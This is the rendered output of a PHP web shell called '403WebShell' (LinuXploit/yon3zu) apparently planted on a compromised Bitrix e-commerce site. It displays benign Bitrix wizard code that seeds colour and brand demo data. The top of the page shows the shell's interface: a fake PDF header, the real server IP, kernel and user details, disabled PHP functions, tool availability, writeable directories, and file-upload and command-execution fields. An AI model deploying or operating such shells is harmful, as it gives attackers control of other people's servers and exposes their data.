%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.227.209.207
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/bitrix.eshop/install/wizards/bitrix/eshop/site/services/iblock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/bitrix.eshop/install/wizards/bitrix/eshop/site/services/iblock/references2.php
<?
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)
	die();

use Bitrix\Main\Loader;
use Bitrix\Main\Type\Collection;
use Bitrix\Highloadblock as HL;

global $USER_FIELD_MANAGER;

if (!Loader::includeModule("highloadblock"))
	return;

if (!WIZARD_INSTALL_DEMO_DATA)
	return;

$COLOR_ID = (int)$_SESSION["ESHOP_HBLOCK_COLOR_ID"];
unset($_SESSION["ESHOP_HBLOCK_COLOR_ID"]);

$BRAND_ID = (int)$_SESSION["ESHOP_HBLOCK_BRAND_ID"];
unset($_SESSION["ESHOP_HBLOCK_BRAND_ID"]);

//adding rows
WizardServices::IncludeServiceLang("references.php", LANGUAGE_ID);

if ($COLOR_ID > 0)
{
	$hldata = HL\HighloadBlockTable::getById($COLOR_ID)->fetch();
	if (is_array($hldata))
	{
		$hlentity = HL\HighloadBlockTable::compileEntity($hldata);

		$entity_data_class = $hlentity->getDataClass();

		$colors = [];
		$colors['PURPLE'] = [
			'XML_ID' => 'purple',
			'PATH' => 'references_files/iblock/0d3/0d3ef035d0cf3b821449b0174980a712.jpg',
			'FILE_NAME' => 'purple.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['BROWN'] = [
			'XML_ID' => 'brown',
			'PATH' => 'references_files/iblock/f5a/f5a37106cb59ba069cc511647988eb89.jpg',
			'FILE_NAME' => 'brown.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['SEE'] = [
			'XML_ID' => 'see',
			'PATH' => 'references_files/iblock/f01/f01f801e9da96ae5a7f26aae01255f38.jpg',
			'FILE_NAME' => 'see.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['BLUE'] = [
			'XML_ID' => 'blue',
			'PATH' => 'references_files/iblock/c1b/c1ba082577379bdc75246974a9f08c8b.jpg',
			'FILE_NAME' => 'blue.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['ORANGERED'] = [
			'XML_ID' => 'orangered',
			'PATH' => 'references_files/iblock/0ba/0ba3b7ecdef03a44b145e43aed0cca57.jpg',
			'FILE_NAME' => 'orangered.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['REDBLUE'] = [
			'XML_ID' => 'redblue',
			'PATH' => 'references_files/iblock/1ac/1ac0a26c5f47bd865a73da765484a2fa.jpg',
			'FILE_NAME' => 'redblue.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['RED'] = [
			'XML_ID' => 'red',
			'PATH' => 'references_files/iblock/0a7/0a7513671518b0f2ce5f7cf44a239a83.jpg',
			'FILE_NAME' => 'red.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['GREEN'] = [
			'XML_ID' => 'green',
			'PATH' => 'references_files/iblock/b1c/b1ced825c9803084eb4ea0a742b2342c.jpg',
			'FILE_NAME' => 'green.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['WHITE'] = [
			'XML_ID' => 'white',
			'PATH' => 'references_files/iblock/b0e/b0eeeaa3e7519e272b7b382e700cbbc3.jpg',
			'FILE_NAME' => 'white.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['BLACK'] = [
			'XML_ID' => 'black',
			'PATH' => 'references_files/iblock/d7b/d7bdba8aca8422e808fb3ad571a74c09.jpg',
			'FILE_NAME' => 'black.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['PINK'] = [
			'XML_ID' => 'pink',
			'PATH' => 'references_files/iblock/1b6/1b61761da0adce93518a3d613292043a.jpg',
			'FILE_NAME' => 'pink.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['AZURE'] = [
			'XML_ID' => 'azure',
			'PATH' => 'references_files/iblock/c2b/c2b274ad2820451d780ee7cf08d74bb3.jpg',
			'FILE_NAME' => 'azure.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['JEANS'] = [
			'XML_ID' => 'jeans',
			'PATH' => 'references_files/iblock/24b/24b082dc5e647a3a945bc9a5c0a200f0.jpg',
			'FILE_NAME' => 'jeans.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['FLOWERS'] = [
			'XML_ID' => 'flowers',
			'PATH' => 'references_files/iblock/64f/64f32941a654a1cbe2105febe7e77f33.jpg',
			'FILE_NAME' => 'flowers.jpg',
			'FILE_TYPE' => 'image/jpeg',
			'TITLE' => ''
		];
		$colors['DARKBLUE'] = [
			'XML_ID' => 'darkblue',
			'PATH' => 'references_files/iblock/84a/84afl562rq429820451d780ee7cf08d7.png',
			'FILE_NAME' => 'darkblue.png',
			'FILE_TYPE' => 'image/png',
			'TITLE' => ''
		];
		$colors['DARKGREEN'] = [
			'XML_ID' => 'darkgreen',
			'PATH' => 'references_files/iblock/87f/87f5d3ad34562rq429820451d780ee7c.png',
			'FILE_NAME' => 'darkgreen.png',
			'FILE_TYPE' => 'image/png',
			'TITLE' => ''
		];
		$colors['GREY'] = [
			'XML_ID' => 'grey',
			'PATH' => 'references_files/iblock/90c/90c274ad2820451d780ee7cf08d74bb3.png',
			'FILE_NAME' => 'grey.png',
			'FILE_TYPE' => 'image/png',
			'TITLE' => ''
		];
		$colors['YELLOW'] = [
			'XML_ID' => 'yellow',
			'PATH' => 'references_files/iblock/99a/99a082dc5e647a3a945bc9a5c0a200f0.png',
			'FILE_NAME' => 'yellow.png',
			'FILE_TYPE' => 'image/png',
			'TITLE' => ''
		];
		$colors['ORANGE'] = [
			'XML_ID' => 'orange',
			'PATH' => 'references_files/iblock/a0d/a0ddba8aca8422e808fb3ad571a74c09.png',
			'FILE_NAME' => 'orange.png',
			'FILE_TYPE' => 'image/png',
			'TITLE' => ''
		];

		foreach (array_keys($colors) as $index)
		{
			$colors[$index]['TITLE'] = GetMessage('WZD_REF_COLOR_'.$index);
		}

		Collection::sortByColumn($colors, ['TITLE' => SORT_ASC]);

		$picturePath = WIZARD_ABSOLUTE_PATH.'/site/services/iblock/';
		$sort = 0;
		foreach($colors as $row)
		{
			$sort+= 100;
			$data = [
				'UF_NAME' => $row['TITLE'],
				'UF_FILE' => [
					'name' => $row['FILE_NAME'],
					'type' => $row['FILE_TYPE'],
					'tmp_name' => $picturePath.$row['PATH']
				],
				'UF_SORT' => $sort,
				'UF_DEF' => '0',
				'UF_XML_ID' => $row['XML_ID']
			];
			$USER_FIELD_MANAGER->EditFormAddFields('HLBLOCK_'.$COLOR_ID, $data);
			$USER_FIELD_MANAGER->checkFields('HLBLOCK_'.$COLOR_ID, null, $data);

			$result = $entity_data_class::add($data);
		}
	}
}

if ($BRAND_ID > 0)
{
	$hldata = HL\HighloadBlockTable::getById($BRAND_ID)->fetch();
	if (is_array($hldata))
	{
		$hlentity = HL\HighloadBlockTable::compileEntity($hldata);

		$entity_data_class = $hlentity->getDataClass();
		$arBrands = array(
			"COMPANY1" => "brands_files/cm-01.png",
			"COMPANY2" => "brands_files/cm-02.png",
			"COMPANY3" => "brands_files/cm-03.png",
			"COMPANY4" => "brands_files/cm-04.png",
			"BRAND1" => "brands_files/bn-01.png",
			"BRAND2" => "brands_files/bn-02.png",
			"BRAND3" => "brands_files/bn-03.png",
		);
		$sort = 0;
		foreach($arBrands as $brandName=>$brandFile)
		{
			$sort+= 100;
			$arData = array(
				'UF_NAME' => GetMessage("WZD_REF_BRAND_".$brandName),
				'UF_FILE' =>
					array (
						'name' => ToLower($brandName).".png",
						'type' => 'image/png',
						'tmp_name' => WIZARD_ABSOLUTE_PATH."/site/services/iblock/".$brandFile
					),
				'UF_SORT' => $sort,
				'UF_DESCRIPTION' => GetMessage("WZD_REF_BRAND_DESCR_".$brandName),
				'UF_FULL_DESCRIPTION' => GetMessage("WZD_REF_BRAND_FULL_DESCR_".$brandName),
				'UF_XML_ID' => ToLower($brandName)
			);
			$USER_FIELD_MANAGER->EditFormAddFields('HLBLOCK_'.$BRAND_ID, $arData);
			$USER_FIELD_MANAGER->checkFields('HLBLOCK_'.$BRAND_ID, null, $arData);

			$result = $entity_data_class::add($arData);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit